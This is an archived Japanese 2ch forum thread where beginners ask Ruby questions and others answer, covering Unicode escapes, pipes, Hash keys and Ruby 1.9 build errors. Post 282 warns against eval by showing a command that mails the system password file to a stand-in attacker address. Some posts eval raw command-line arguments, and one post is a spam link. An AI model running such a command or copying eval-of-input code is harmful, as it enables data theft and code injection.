[表示 : 全て 最新50 1-99 101- 201- 301- 401- 501- 601- 701- 801- 901- 1001- 2chのread.cgiへ]
Update time : 05/09 20:58 / Filesize : 271 KB / Number-of Response : 1002
[このスレッドの書き込みを削除する]
[+板 最近立ったスレ&熱いスレ一覧 : +板 最近立ったスレ/記者別一覧] [類似スレッド一覧]


↑キャッシュ検索、類似スレ動作を修正しました、ご迷惑をお掛けしました

Ruby 初心者スレッド Part 17



1 名前:デフォルトの名無しさん [2008/01/16(水) 17:41:27 ]
プログラミング言語Rubyについての、初心者向けスレです。質問・要望・雑談などどうぞ。
関連スレやURLは>>2-7あたりを見てください。Ruby on Railsの質問はWebProg板のRailsスレで。

■質問する人へ
質問する前に次の3つをすること。ここで回答を待つよりそのほうが早い。
 ・ぐぐる
 ・マニュアルで探す www.ruby-lang.org/ja/man/
 ・FAQを読む www.ruby-lang.org/ja/man/?cmd=view;name=Ruby+FAQ
質問には以下を書くこと。へたくそな質問は再提出を要求される。
 ・詳しい内容(「動きません」「うまくできません」では回答しようがない)
 ・エラーメッセージ(なるべくそのままで)
 ・実行環境(OS名、Rubyのバージョン(ruby -v でわかる))
 ・最終的にやりたいこと(もっとよい方法がある場合が多いので)
回答してくれた人には「ありがとう」のひとことをいってあげて。

■回答する人へ
相手は初心者、根気よく育てるつもりで。質問がへたくそなのも大目にみてあげる。
それができないならこないこと(だって初心者スレだもん)。
 ・既出な質問やFAQは「XXXを読め」でいいので、叩かない&怖がらせない。
 ・わけわかな質問にもエスパー発揮で。できれば質問の仕方を教えるぐらいで。
 ・自信がない回答ならその旨表明すること。誤った回答は初心者じゃ見抜けない。

267 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 22:27:33 ]
unicodeを表すのに、Javaとかでよく使われている ¥uXXXX という表現方法がありますが
これをRubyでデコードするにはどうしたらいいですか。
つまり '¥uXXXX' からunicode文字を得たいです。

268 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 22:34:21 ]
str.gsub(/¥¥u((?:[¥da-f]{2}){1,6})/) { [ $1.hex ].pack('U') }


269 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 22:38:37 ]
>>267
>>268 でいいと思うけど、後ならnkfを使うかな

270 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 22:42:46 ]
>>268
仕組みがさっぱりわからないので、参考になるページがあれば教えてください。

271 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 22:57:30 ]
普通に定義そのまんまだな
Unicodeの解説とか読めばいいんじゃね

272 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 23:00:34 ]
>>270
Rubyコード的には、
¥uXXXXのXXXX部分(文字列)を16進数に変換してpack('U')でUnicode文字にしてる。


273 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 23:10:01 ]
正規表現が極力正確なマッチになるように書かれてるから難しく見えるんだと思う

274 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 23:15:14 ]
ぶっちゃけ /¥¥u([0-9a-f]+)/ あたりのほうがみやすくて実用的かもな。


275 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 23:19:22 ]
>>272
逐語的に訳すとこんな感じ?
"\u"より後に続く数字またはa, b, c, d, e, fの2文字の組を
1個から6個ずつまとめてから16進数に変換する

Rubyリファレンスマニュアルの正規表現のページと見比べてみりゃ
なんとなくわかるんじゃない?




276 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 23:29:49 ]
UTF-8の変換式は6オクテットまで規定されてるけど、
Unicode文字がそこまで定義されてないから実質的には
4オクテットまで考慮すればいいみたいね。


277 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 23:32:20 ]
この安易な判断が20年後大問題を引き起こすとは
神ならぬ>>276には思い至ることすらできなかったのであった

278 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 00:09:27 ]
もしそうなっても、その前にUTF16連中がさらに大問題をひきおこすから大丈夫。

279 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 00:50:46 ]
>>267
小飼が自分で作ったツールを自慢するためにBlogでRuby用のサンプルを書いてたきがする。

280 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 10:53:26 ]
検索用の文字列をユーザーに入力させたいんですが
1. りんご  なら単純な部分一致
2. *.jpg   ならワイルドカード
3. /\d+/  なら正規表現
としたいんですが一番下は1.の/home/のようなパス指定と区別がつきません。
正規表現を表す文字列で他に一般的な表記はないんでしょうか?

281 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 11:20:41 ]
俺なら、 '\' によるエスケープを仕様に導入して、パス指定は \/home\/ と書かせる。

282 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 13:04:12 ]
/hoge#{`mail badguy@example.com < /etc/password`}huga/
なんてのをそのままevalしないようにね。


283 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 13:10:01 ]
>>262
ruby-electric.el はどこがダメ?

284 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 13:21:31 ]
>>280
「正規表現で入力する」という専用入力プロンプトあるいはオプションスイッチを作る

ユーザーが一番欲しい、一番頻繁に使うと推測される機能は1と2だろ
3は見つからないあるいは見つけにくいときに使う機能であるべき

285 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 13:42:06 ]
俺も284に一票
guiならチェックボックスとか

>>283
デフォルトだとクォーテーションや"|"も閉じちゃうので
正規表現を書くときにウザいからじゃね?



286 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 14:08:19 ]
>>280
エスケープ文字があるときに
正規表現オブジェクトを作るのはどう?
もちろん最初と最後の"/"は取り除いて

if inputString.include?('\\') && inputString =~ /^\/.*\/$/
 re = Regexp.new(inputString[1..-2])
 Dir.glob("*").{|fileName| print fileName if fileName =~ re}
else
 Dir.glob(inputString).{|fileName| print fileName}
end

287 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 14:15:41 ]
>>286
エスケープ文字のない正規表現書けなくない?

288 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 14:29:16 ]
>>286はこれを導入したことで大量な例外の処理を書かなければならなくなると思う

289 名前:286 mailto:sage [2008/01/27(日) 14:46:08 ]
自分でちょっと使ってみたけど、スゲー使いにくいw
文字列先頭の'/'、文字列最後の'/'、文字列中の'\'と暗黙なスイッチを
無駄に3つ追加してて、直感的に使えず全然ダメですわ

やっぱ、素直に284の言うとおりにした方がよいと思う

290 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 19:41:23 ]
フィルタ系のコマンド(sortとか)に
Rubyで生成したテキストを流し込み
フィルタが処理した結果を受け取りたいでし。
どう書けば良いのでしょうか?
一旦ファイルに出力して、`sort` とかで受け取るしかないですか?

291 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 19:53:17 ]
open('| sort', 'w'){|io| io.write("d\nc\na\nb\n") }
一度きっちりIPCとかパイプとか標準入出力とかフィルタとか調べとくと吉

その点Rubyアプリケーションプログラミングとかいいと思うんだが
まるで話題にならないのは中身が硬派すぎるからなんだろうか

292 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 19:58:38 ]
>290
読み書き両方ならIO.popenかな。


293 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 20:18:09 ]
>>291
あの本は読んでると眠くなる
100パーセント日本語の本なのに眠くなる理由は正直よくわからん

294 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 20:26:59 ]
>291-292
ありがとうございました。
>291 ではフィルタの結果を出力することは出来ましたが
結果が受け取れませんでした。

そこで >292 に紹介された IO.popen を
リファレンスマニュアルの例文を元に使ってみたのですが
反応が返ってこなくなってしまい、^C しました。

コマンドプロンプトや、バッチファイル上での
パイプの使い方は知っていたのですが…
>291 さんの言う通り、もう少しパイプについて調べてみます…。

295 名前:291 mailto:sage [2008/01/27(日) 20:36:19 ]
ああ、見当違いなレスしてた。ごめん
フィルタの中身にもよるけどこれでいけると思う

open("| sort", "w+"){|io|
io.write("c\nb\na")
io.close_write()
res = io.read()
}



296 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 20:51:10 ]
>295
ありがとうございました!
close_write() がポイントっぽいですね。

297 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 22:57:47 ]
>>296
sort は入力を全部受け付けてからでないと処理できないっしょ
close_write で入力は終わったって知らせてやらなきゃ。


298 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 23:12:15 ]
Array#sortじゃダメな理由は何?

299 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 23:14:21 ]
sortは例で、実際は別のプログラムなんじゃねーの。

300 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 23:17:25 ]
> フィルタ系のコマンド(sortとか)
に対して「Array#sort使え」というのはかなりマト外してるな

まあ、よっぽど特殊なコマンドでない限り、テキストいじりならRuby内部でなんとかなるのも事実ではあるが…

301 名前:デフォルトの名無しさん [2008/01/28(月) 02:13:27 ]
#!/usr/bin/env ruby

def main()
 eval(ARGV.join(";"))
 STDOUT << hoge << "\n"
end

if __FILE__ == $0
 main
end

みたいなshowhoge.rbを作ってshowhoge.rb "hoge=\"Hello\""を実行したのですが
Helloと表示されません。 引数をevalしてオプションを解析する手間を省きたいのですが失敗していますorz

302 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 02:31:27 ]
~$ cat syukudai.rb

require 'shellwords'
def main()
pairs = Shellwords.shellwords(ARGV.join(' '))
pairs.each do |pair|
(k,v) = pair.split(/=/)
puts "#{k}は#{v}です"
end
end

if __FILE__ == $0
main
end

~$ ruby syukudai.rb hoge="Hello" huga='World' hage=\!
hogeはHelloです
hugaはWorldです
hageは!です

ただしこれだと"や'を変数に入れることができない

303 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 02:55:17 ]
 STDOUT << hoge << "\n"
C++出身?

304 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 03:03:32 ]
evalの前に hoge = nil
もしくは@hogeに

305 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 03:16:11 ]
>>301
宿題は宿題スレへ
Rubyの宿題教えてください。2限目
pc11.2ch.net/test/read.cgi/tech/1200175247/



306 名前:デフォルトの名無しさん [2008/01/28(月) 04:02:28 ]
素直にoptparse使ったほうがいいのでは…

307 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 04:44:13 ]
>>301
エラーになる理由は↓参照
リファレンスマニュアル>Ruby 言語仕様>実行>変数と定数>ローカル変数

要するに定義されてない変数(メソッド)を使おうとしてエラーになってる
だから eval('STDOUT << hoge << "\n"') なら実行出来る

オプション解析なら >>306 の言う通り optparse 使うべき
eval にこだわるなら >>304 の様にあらかじめ変数を定義しておく

308 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 05:18:32 ]
>>301 とりあえず、
def main()
  hoge =""
  eval(ARGV.join(';'))
  STDOUT << hoge << "\n"
end

if __FILE__ == $0
  main
end

foo.rb "hoge='Hello'"

Hello は表示されるが。

def main()
  eval(ARGV.join(';') + ";" + %Q(STDOUT << hoge << "\n"))
end

if __FILE__ == $0
  main
end
これもいけた。

309 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 08:37:42 ]
optparseがめんどくさくて死ぬという話なのでは…

310 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 08:46:36 ]
Rakeで、実行するコマンドを表示させることはできますか。
例えば rm_f 'filename' とあれば、実行時にどのファイルを削除しようとしているかが表示されてほしいです。

311 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 09:47:45 ]
-v

312 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 11:07:09 ]
>>311
-vつけても表示されませんけど?

313 名前:デフォルトの名無しさん [2008/01/28(月) 17:42:26 ]
myhash = {}
myhash[:aaa] = "aaa"  #これと 
myhash["aaa"] = "aaa" #これがどう違うのか分かりません><

314 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 18:14:06 ]
>>313
キーが違う。

315 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 19:13:53 ]
RubyのHashのキーは文字列(Stringオブジェクト)でなくても構わない。

irb> h = Hash.new
irb> arr = ['レ','イ','ク']
irb> h[arr] = '配列だよ'
irb> puts h[arr]
配列だよ

前者はたまたま文字列ではないシンボルを使ってるだけの話
シンボルで設定されてるハッシュならシンボルでアクセスしないと動作しないけどな



316 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 21:28:19 ]
>>310

rm_f 'hoge', :verbose => true

全般にわたって制御する方法はねーのかな。

>>313
混乱させてしまうが、ActiveSupportというRailsの一部でもあるライブラリを
導入すると、HashWithIndifferentAccessというクラスが定義される。

myhash = {}.with_indifferent_access
のようにして作成すると、
myhash[:aaa] と myhash['aaa'] が同じモノを参照するようになる。
(実際には文字列側に正規化されている)


317 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 21:37:26 ]
Rake内部のファイル操作がFileUtilsだけを使ってるなら、
どっかでmodule FileUtils::DryRunとかすればいいんだがどうだろね

318 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 21:46:19 ]
すみません、Mac OS X上のEmacsのruby-modeを使っているのですが、
日本語を含むソースコードを保存しようとすると
「Symbol's function definition is void: coding-system-to-mime-charset」
と言われて保存できません。どなたか解決策ご存知の方いらっしゃいませんか。

319 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 21:51:15 ]
>>317
DryRunって:noop=>trueだよな。
常時ONにしたら何も実行しなくなるんじゃない?


320 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:03:44 ]
>>319
そりゃ、表示だけして実行はしないよ
そういうオプションだもの

表示後に実行もして欲しいかどうかはわからんのでその辺は適当に
どうせ教えてもらったのを文字通り組み込むわけじゃないだろ
該当するマニュアルとか見てから組み込むわけだし

321 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:07:25 ]
>>318
> Symbol's function definition is void: coding-system-to-mime-charset
なんでこれが読めないの?
Ctrl x RET f
して候補を入力しろよ

322 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:18:58 ]
とあるxmlがあります。具体的に言うとAmazonのECSの蔵書検索のやつ。
で、<Author>著者名</Author>とか<Publisher>出版社</Publisher>とか<Title>書名</Title>とかを20種類くらい得たいです。
しかし、xmlの構造が一定ではなくて、「<Publisher>が無い」というような抜けが稀にあります。
なので、固定の巨大な正規表現でがばっと抜き出すということができません。

#パターン1
h['Author'] = xml.scan(/<Author>(.+?)<\/Author>/).flatten
h['Publisher'] = xml.scan(/<Publisher>(.+?)<\/Publisher>/).flatten
h['Title'] = xml.scan(/<Title>(.+?)<\/Title/).flatten

#パターン2
RE = # 下の結果をあらかじめ直にコピペしたもの
# Regexp.union(/<(Author)>(.+?)<\/Author>/,/<(Publisher)>(.+?)<\/Publisher>/,/<(Title)>(.+?)<\/Title/)
xml.scan(RE).each do |a|
a.compact!
h[a[0]] = a[1]
end

どっちがメモリとかCUP時間とかの負荷少なくて済みそうですか?
ちなみにrexmlとかごっついパーサは3秒くらい止まるので候補になりませんでした

323 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:25:43 ]
xmlは10KB前後です
これまではパターン1でxmlを何度もscanしてきたんですが、
「10KBの文字列に何度もアクセスする」という現状にだんだん不安になってきて
「選択入りの長い正規表現で一度だけアクセスしたほうがリソース的にまだマシなんじゃ?」とか思った次第です。

324 名前:デフォルトの名無しさん [2008/01/28(月) 22:26:03 ]
ruby 1.9をインスコしたのですが,mechanizeでこけます。
対策教えて下さい。
ruby 1.9はMacOS 10.3 PPC G3です。
$ ./configure --prefix=/opt/local --program-suffix=19
checking build system type... powerpc-apple-darwin7.9.0
checking host system type... powerpc-apple-darwin7.9.0
checking target system type... powerpc-apple-darwin7.9.0
checking for gcc... gcc

$ sudo gem19 install mechanize
Password:
Building native extensions.  This could take a while...
ERROR:  Error installing mechanize:
        ERROR: Failed to build gem native extension.

/opt/local/bin/ruby19 extconf.rb install mechanize
checking for main() in -lc... yes
creating Makefile

make
gcc -I. -I/opt/local/include/ruby-1.9.0/powerpc-darwin7.9.0 -I/opt/local/include/ruby-1.9.0 -I.   -fno-common -g -O2 -pipe -fno-common   -o hpricot_scan.o -c hpricot_scan.c
ext/hpricot_scan/hpricot_scan.rl: In function `hpricot_scan':
ext/hpricot_scan/hpricot_scan.rl:172: error: structure has no member named `ptr'
ext/hpricot_scan/hpricot_scan.rl:185: error: structure has no member named `ptr'
ext/hpricot_scan/hpricot_scan.rl:185: error: structure has no member named `len'
ext/hpricot_scan/hpricot_scan.rl:186: error: structure has no member named `len'
ext/hpricot_scan/hpricot_scan.rl:202: error: structure has no member named `ptr'
make: *** [hpricot_scan.o] Error 1


Gem files will remain installed in /opt/local/lib/ruby/gems/1.9.0/gems/hpricot-0.6 for inspection.
Results logged to /opt/local/lib/ruby/gems/1.9.0/gems/hpricot-0.6/ext/hpricot_scan/gem_make.out

325 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:27:53 ]
>>324
> ruby 1.9をインスコした
お前にはまだ早い
即刻アンインストールして1.8.6にしろ



326 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:40:01 ]
>>324
どこを直していいのかわからないような初心者が1.9使っちゃダメ

「おい、1.9でhogehogeが動かないから直してやったぜ。これがパッチな」
というのが正しい使いかた。

327 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:46:33 ]
1.9使用者=デバッガか・・・ますます移行する気がおきんな

328 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:47:18 ]
だから、移行するようなモノじゃないって。


329 名前:318 mailto:sage [2008/01/28(月) 22:49:27 ]
>>321
それは試したのですが結果は変わりませんでした。

330 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:49:38 ]
>>327
お前の周りでは「やっとβ版が出たのでシステムをこれに移行しました」とかいうことがあるのか?
しないだろ? 試しに遊んでみて納得する程度だろ?

331 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:51:55 ]
次スレたてるときは、「初心者は1.9.0使うな」って書かないとあかんね。

332 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:52:34 ]
>>331
>>7


333 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:53:17 ]
いや、付け足し程度ではなく、>>1にでっかく書こう。


334 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:57:16 ]
すいません。
1234567...とかの複数桁の数字を桁ごとに分割してそれぞれ扱いたいのですが、
どうやるのが一番解りやすいでしょうか?

335 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 23:03:38 ]
>>324
作者に苦情のメールを送る。



336 名前:デフォルトの名無しさん [2008/01/28(月) 23:03:52 ]
>>324
1.9では文字列のアクセスの時RSTRING_PTRやRSTRING_LENを使わなくてはいけないのが原因っぽい

337 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 23:05:44 ]
>>334
num = 1234567
num.to_s.split(//).each do |n|
 ketagoto(n.to_i)
end

338 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 23:06:49 ]
なんで1.9最先端のruby-mode.elなんて。
ともかくemacs --versionの結果を。

339 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 23:06:50 ]
x = 123456789
digits = x.to_s.split(//).map {|digit| digit.to_i} とか。

x = 123456789
digits = []
while x > 0
x, y = x.divmod(10)
digits.unshift(y)
end
という書き方もあるか。


340 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 23:11:27 ]
>>339
初心者という言葉の意味を履き違えたオナニーヲタは帰れ
自分のブログででもやってろ

341 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 23:12:55 ]
Ruby/Tkって今後廃れていくの?
ruby1.9.xじゃ添付ライブラリに入らない雰囲気なんでそ?
RubyのGUIツールキットは何を使っていくのが正解なの?

342 名前:334 mailto:sage [2008/01/28(月) 23:14:36 ]
なるほど、spliteを使って区切り文字に何も入れなければ1文字ごとに分割されるんですね。
ありがとうございます。

343 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 23:15:35 ]
>>340
339の前半は338と同じわけだから後半につっこんでるんだよな。
どっちかというとループ組んでちまちまやってる後半のほうが
初心者向けだと思った俺は変?


344 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 23:17:22 ]
divmodじゃ?

345 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 23:19:24 ]
unshiftとか久しぶりに見た
とりあえずスレ的には配列に変換してeachで回せる状況にするのが素直かと…



346 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 23:25:17 ]
>>322
パターン1で20回scanするのならおそらくはパターン2を基本にするのがまだマシかと…
俺なら正規表現が長くなりすぎないようにパターン1でおおまかに小分けにしたものにパターン2を適用するけどな

347 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 23:28:16 ]
>>341
GUIを使わないのが正解じゃなかろうか。
保守性も考えたGUIのソフトは大概組み込みRubyな感じ。

348 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 23:33:50 ]
Ruby的にはサーバとWebブラウザベースで作るのが正解かと思われる
無理してショボいGUIつけたスタンドアロンアプリケーションは斜陽っぽいぞ

349 名前:デフォルトの名無しさん [2008/01/28(月) 23:42:20 ]
>>325
オマェの方こそ、厨房なんじゃネェの?
324には--program-suffix=19とかgem19って
書いてあるんだから、どう見たって1.8系と併存してんだろ?
なのにアンインストールしろだなんて
本当はソースヨメネェから、対処できなくてごまかしてんじゃね?



350 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 23:43:14 ]
さ あ 、 も り あ が っ
                  て
                     ま
                       い
                         り
                          ま
                           し
                           た

351 名前:デフォルトの名無しさん [2008/01/28(月) 23:45:16 ]
最新作 On Air Alien オン.エア.エイリアン
zoomtv.atspace.com/?G84Bds9WGIY377?qL_yJKe8kRI11+i_QH1mo46-A27?anB5SSsiolI36+8hj9PlJg0pA17@OnAirAlien


352 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 23:49:11 ]
並存してるかどうかに関わらず1.9系列はアンインストールして1.8.6使うべき

353 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 23:53:37 ]
なんかwindowsしか触った事が無い人が言いそうな感じだなぁ・・・

354 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 23:53:52 ]
どんなに煽られようが「1.9には触るな」はガチ
手を出したこと自体が誤り
映画で言うとスタンドバイミー

355 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 23:54:41 ]
あーわかったわかった
2ちゃんはギャーギャー騒げば大勝利だからな
もう何も言わないおめでとさん



356 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 23:57:32 ]
今更自分の勝利のために>>7を捻じ曲げられても困るわけだが…

357 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 23:59:18 ]
つーか開発版にわざわざ手出すなよ。動かないことに文句言うな。
1.9関連は使用を正当化するアホ初心者が沸いて困る。

358 名前:デフォルトの名無しさん mailto:sage [2008/01/29(火) 00:01:07 ]
www.ruby-lang.org/ja/install.cgi?cmd=view;name=MacOS+X
>curl -O ftp://ftp.ruby-lang.org/pub/ruby/1.9/ruby-1.9.0-0.tar.gz
これはMac上がりのニワカBSDヤーを懲らしめようとする巧妙な釣りだなw

359 名前:デフォルトの名無しさん mailto:sage [2008/01/29(火) 00:21:39 ]
ふつうはportやfinkで入れるところを……


360 名前:デフォルトの名無しさん mailto:sage [2008/01/29(火) 00:24:49 ]
>>357
β版リリースを大々的に宣伝するからだろw

361 名前:デフォルトの名無しさん mailto:sage [2008/01/29(火) 00:30:35 ]
目に付いた1.9.0への言及を1.8.6にしてみた。
改良よろ。
つーか、無駄に記述がおおいな。このページ。


362 名前:デフォルトの名無しさん [2008/01/29(火) 00:33:46 ]
質問です.
ベクトル空間モデルの考え方から,コサイン尺度を用いてベクトル間の
類似度を求めることができるじゃないですか?
このコサイン尺度の計算式ってプログラムでどう書けば良いのでしょうか?

363 名前:デフォルトの名無しさん mailto:sage [2008/01/29(火) 00:36:54 ]
それなりに知識がないと答えられないような。
Ruby固有の話じゃなさそうだから、このへんがいいんじゃないの?

プログラミングの為の数学と算数 vol.3
pc11.2ch.net/test/read.cgi/tech/1197063023/

科学技術計算
pc11.2ch.net/test/read.cgi/tech/1104421606/

計算アルゴリズム【U】
pc11.2ch.net/test/read.cgi/tech/1129376543/


364 名前:デフォルトの名無しさん mailto:sage [2008/01/29(火) 00:49:29 ]
Railsスレとマルチすんなボケェ


365 名前:デフォルトの名無しさん mailto:sage [2008/01/29(火) 01:07:57 ]
Railsスレ→Rubyスレ→計算スレ??

「どこのレイヤーで躓いてるのかが把握できない」というあたりが
初心者ゆえんだな。




366 名前:デフォルトの名無しさん mailto:sage [2008/01/29(火) 01:09:09 ]
なんでRailsスレがこの板にあるのかと

367 名前:デフォルトの名無しさん mailto:sage [2008/01/29(火) 01:34:44 ]
たかがMVCやってるだけなのに宣伝がうざすぎるんで
Webprog板を追い出されました






[ 続きを読む ] / [ 携帯版 ]

前100 次100 最新50 [ このスレをブックマーク! 携帯に送る ] 2chのread.cgiへ
[+板 最近立ったスレ&熱いスレ一覧 : +板 最近立ったスレ/記者別一覧]( ´∀`)<271KB

read.cgi ver5.27 [feat.BBS2 +1.6] / e.0.2 (02/09/03) / eucaly.net products.
担当:undef